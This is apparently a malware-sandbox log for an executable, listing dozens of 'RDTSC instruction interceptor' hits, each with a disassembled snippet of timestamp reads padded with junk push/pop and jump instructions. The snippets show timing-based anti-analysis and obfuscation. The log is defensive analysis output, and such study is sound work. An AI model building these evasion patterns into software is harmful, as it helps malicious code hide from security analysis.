Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 693DA8 second address: 693DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEB853E3226h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6938E5 second address: 693910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEB84D86D05h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 693A57 second address: 693A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 693A5B second address: 693A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FEB84D86CF6h 0x0000000e jmp 00007FEB84D86CFFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 698393 second address: 6983A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEB853E3226h 0x0000000a jng 00007FEB853E3226h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6983A3 second address: 6983EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFBh 0x00000007 jnc 00007FEB84D86CF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FEB84D86D06h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jnp 00007FEB84D86D07h 0x0000001d jmp 00007FEB84D86CFBh 0x00000022 jne 00007FEB84D86CF6h 0x00000028 push eax 0x00000029 push edx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6983EE second address: 6983F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6983F2 second address: 6983F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6983F6 second address: 698400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 698400 second address: 698406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 698406 second address: 69840A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 69E921 second address: 69E93C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D05h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 69D53B second address: 69D59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FEB853E322Dh 0x0000000b jng 00007FEB853E3226h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FEB853E3231h 0x00000018 popad 0x00000019 jmp 00007FEB853E3233h 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007FEB853E3226h 0x00000026 jmp 00007FEB853E3239h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 69D6F0 second address: 69D6F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B657 second address: 64B65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A6192 second address: 6A61B3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEB84D86D0Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A54F9 second address: 6A54FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A54FD second address: 6A550D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FEB84D86CF8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A550D second address: 6A5512 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A56CB second address: 6A56D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6A56D1 second address: 6A56D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6AE297 second address: 6AE2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D09h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FEB84D86CFAh 0x00000010 jmp 00007FEB84D86D08h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6AE2DB second address: 6AE2E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6AE2E0 second address: 6AE2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6ACE7B second address: 6ACE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6ADCB9 second address: 6ADCBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6ADCBF second address: 6ADCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jl 00007FEB853E3236h 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B62C3 second address: 6B62C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B62C9 second address: 6B62CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B6452 second address: 6B6458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B6458 second address: 6B649A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E3239h 0x00000009 jmp 00007FEB853E3234h 0x0000000e popad 0x0000000f jmp 00007FEB853E322Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B649A second address: 6B64AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEB84D86CF6h 0x0000000a jne 00007FEB84D86CF6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B64AB second address: 6B64B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B64B3 second address: 6B64B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6B666B second address: 6B6674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BCD5B second address: 6BCD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BCD5F second address: 6BCD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEB853E3226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BD06B second address: 6BD091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D07h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FEB84D86D13h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BD091 second address: 6BD0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E3237h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BD1F3 second address: 6BD20E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007FEB84D86CF6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007FEB84D86CF6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BD20E second address: 6BD212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6BD4D9 second address: 6BD4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D00h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6C3D3D second address: 6C3DA5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEB853E3226h 0x00000008 jns 00007FEB853E3226h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 jng 00007FEB853E3226h 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a pushad 0x0000001b jmp 00007FEB853E322Dh 0x00000020 jp 00007FEB853E3226h 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FEB853E3239h 0x00000030 jo 00007FEB853E3226h 0x00000036 js 00007FEB853E3226h 0x0000003c popad 0x0000003d jmp 00007FEB853E322Fh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6C8DE2 second address: 6C8DF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FEB84D86CF6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6C8DF6 second address: 6C8DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6C8DFA second address: 6C8E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6CF07C second address: 6CF086 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEB853E3226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6CF086 second address: 6CF0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEB84D86D07h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6CF0A5 second address: 6CF0A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6D4CC9 second address: 6D4CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEB84D86CFCh 0x00000008 jmp 00007FEB84D86D09h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6DB22E second address: 6DB232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6DB232 second address: 6DB25A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FEB84D86CF6h 0x0000000f jne 00007FEB84D86CF6h 0x00000015 jmp 00007FEB84D86D02h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6DB25A second address: 6DB265 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007FEB853E3226h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6E7727 second address: 6E773C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007FEB84D86D02h 0x0000000d jno 00007FEB84D86CF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6E773C second address: 6E7740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6E7740 second address: 6E7758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D00h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6E7758 second address: 6E775E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6E775E second address: 6E7787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jmp 00007FEB84D86CFEh 0x0000000f jp 00007FEB84D86CF6h 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007FEB84D86CF6h 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EB3EA second address: 6EB3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EB3EE second address: 6EB3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EB3F2 second address: 6EB3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EB3FC second address: 6EB402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EB402 second address: 6EB406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EDF14 second address: 6EDF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D08h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6EDF30 second address: 6EDF3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007FEB853E3226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F32ED second address: 6F330C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FEB84D86CFEh 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FEB84D86CF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F9B63 second address: 6F9B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F9B67 second address: 6F9BAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push ebx 0x0000000b jmp 00007FEB84D86D05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEB84D86D00h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8714 second address: 6F8718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8718 second address: 6F872C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D00h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F89D9 second address: 6F8A20 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEB853E3238h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FEB853E324Fh 0x00000010 jmp 00007FEB853E3237h 0x00000015 ja 00007FEB853E3232h 0x0000001b jns 00007FEB853E3226h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8C5D second address: 6F8C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D01h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8C83 second address: 6F8C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8C8A second address: 6F8C8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6F8E2D second address: 6F8E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 718953 second address: 718957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DB5B second address: 72DB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DCC3 second address: 72DCCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DCCB second address: 72DCCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DCCF second address: 72DCDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FEB84D86CF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DCDD second address: 72DCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DE43 second address: 72DE4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007FEB84D86CF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DE4F second address: 72DE56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72DE56 second address: 72DE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 72E15D second address: 72E180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E322Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEB853E3234h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 730291 second address: 73029B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 73029B second address: 7302A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732E38 second address: 732E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732F2C second address: 732F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732F31 second address: 732F5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D3926h], edx 0x00000012 push 00000004h 0x00000014 call 00007FEB84D86CF9h 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007FEB84D86CF6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732F5F second address: 732F88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FEB853E3228h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732F88 second address: 732FB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEB84D86D06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732FB5 second address: 732FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FEB853E3226h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 js 00007FEB853E3243h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
